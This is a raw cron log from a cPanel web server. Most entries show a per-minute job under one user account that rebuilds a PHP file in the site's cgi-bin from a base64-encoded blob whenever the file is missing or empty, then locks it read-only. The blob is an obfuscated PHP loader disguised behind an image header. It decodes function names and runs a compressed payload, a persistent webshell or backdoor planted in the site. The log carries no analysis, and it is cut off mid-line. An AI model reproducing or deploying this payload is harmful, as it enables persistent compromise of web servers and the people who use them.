Apr 10 16:45:01 server CROND[10307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:46:01 server CROND[10460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:47:01 server CROND[10753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:48:01 server CROND[10817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:49:01 server CROND[10890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:50:01 server CROND[11012]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 16:50:01 server CROND[11013]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 16:50:01 server CROND[11014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 16:50:01 server CROND[11015]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 16:50:01 server CROND[11018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:51:01 server CROND[11156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:52:01 server CROND[11392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:53:01 server CROND[11475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:54:01 server CROND[11546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:55:01 server CROND[11611]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 16:55:01 server CROND[11612]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 16:55:01 server CROND[11613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:56:01 server CROND[11725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:57:01 server CROND[11885]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 16:57:01 server CROND[11886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:58:01 server CROND[11958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaU